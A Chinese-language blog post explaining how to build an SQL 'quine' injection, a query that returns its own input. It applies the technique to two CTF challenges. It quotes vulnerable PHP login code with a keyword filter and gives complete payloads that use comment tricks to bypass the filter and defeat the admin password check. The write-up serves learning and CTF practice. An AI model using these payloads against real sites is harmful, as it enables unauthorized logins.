Quine注入

Quine注入的目的:输入输出一致 绕过限制登录

1
2
3
replace()函数
replace(a,b,c) 把a中的b换成c
replace('abb','b','c') -> acc

构造quine

下面是一个基本语句
select replace(".",char(46),".");

要构造quine,就是套娃
下面把基础语句的
select replace(".",char(46),".");
中的"." 改成基础语句,这里是把基础语句replace(".",char(46),".")当字符串的意思(为了避免转义,用单引号包裹这个str语句
select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
看着很复杂,其实最重要是知道replace作用就是替换字符,replace(".",char(46),".")是一个字符串!!!!
翻译这个语句为人话就是:把 replace(".",char(46),".") 字符串中的.换成replace(".",char(46),".")字符串

仔细看这两个语句,在单引号和双引号这里不一样,但是不可避免的,因为replace(".",char(46),".")字符串中有双引号,所以把它当作字符串写入replace时要用单引号,不然会报错

当然转义可以解决,但是这样输入输出就更不一样了

要做到输入输出一致,那就要在单双引号里面下功夫了
双引号 " char(34)
单引号 " char(39)

1.从内向外一层层套

replace(".",char(34),char(39)) //返回.

2.再套一层replace

replace(replace(".",char(34),char(39)),char(46),".") //返回.

3.试着把上面这个语句的点的双引号改成单引号

select replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39));

可以看到上面输入和结果是等价的,但是语句由长变短了
那么对于
replace(replace('.',char(34),char(39)),char(46),'.')

4.就可以进行像一开始那样把点replace改成套娃语句,把上面的语句当成一个字符串

select replace("replace(replace('.',char(34),char(39)),char(46),'.')",char(46),'replace(replace(".",char(34),char(39)),char(46),".")');


仔细看替换后的输出
replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")')

和上面3.的由长变短的语句一模一样,并且长短两个语句是等价的,也就是说把短语句改成长语句,就能输入输出一致了
最终构造出
select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
这个语句实际上执行的结果与下面替换后相同

这里仔细看,前面要被替换的语句是没加引号的,也就是说语句(上图蓝底)会先被执行,把这个语句的输出(红框内)当字符串

[第五空间 2021]yet_another_mysql_injection

访问/?source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}

if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
<!-- /?source -->
<html>
<body>
<form action="/index.php" method="post">
<input type="text" name="username" placeholder="账号"><br/>
<input type="password" name="password" placeholder="密码"><br/>
<input type="submit" / value="登录">
</form>
</body>
</html>

checkSql方法里
if ($row['password'] === $password) { die($FLAG);
对password强比较
$password为POST传入
$row['password']
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";的查询结果
审源码
过滤了空格
这题可以盲注,但注出来的密码无法登录
这就要用到quine注入
本地构造一个表

1
select passwd from test where username='admin' and passwd='1' union select 'password';

这里使用union是为了组成新表,让查询返回的是我们输入的值而不是原先表的内容

据此,可以构造payload

一个基本语句

1
1" union select replace(replace(".",char(34),char(39)),char(46),".")#

仔细看,与最上面的基础语句相比只是多了1" union select +末尾的注释

替换掉上面已经构造好的基本语句即可

1
replace(replace('1" union select replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1" union select replace(replace(".",char(34),char(39)),char(46),".")#')

用/**/绕过空格 (前面的1'/**/union/**/select/**/ 的功能是拼接语句加构造新表

根据第20行sql语句 将payload语句直接替换题目的sql语句的$password
SELECT passwd FROM test WHERE username='admin' and passwd='1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#';

输入输出一致,if ($row['password'] === $password)返回true 绕过了密码登录
最终payload
username=admin&password=1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

[HDCTF 2023]LoginMaster

/robots.txt

1
2
3
4
5
6
7
8
9
10
function checkSql($s) 
{
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');

和上面一题源码几乎一样

post

1
username=admin&password=1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

Quine注入
http://example.com/2023/12/06/Quine注入/
作者
J_0k3r
发布于
2023年12月6日
许可协议
BY J_0K3R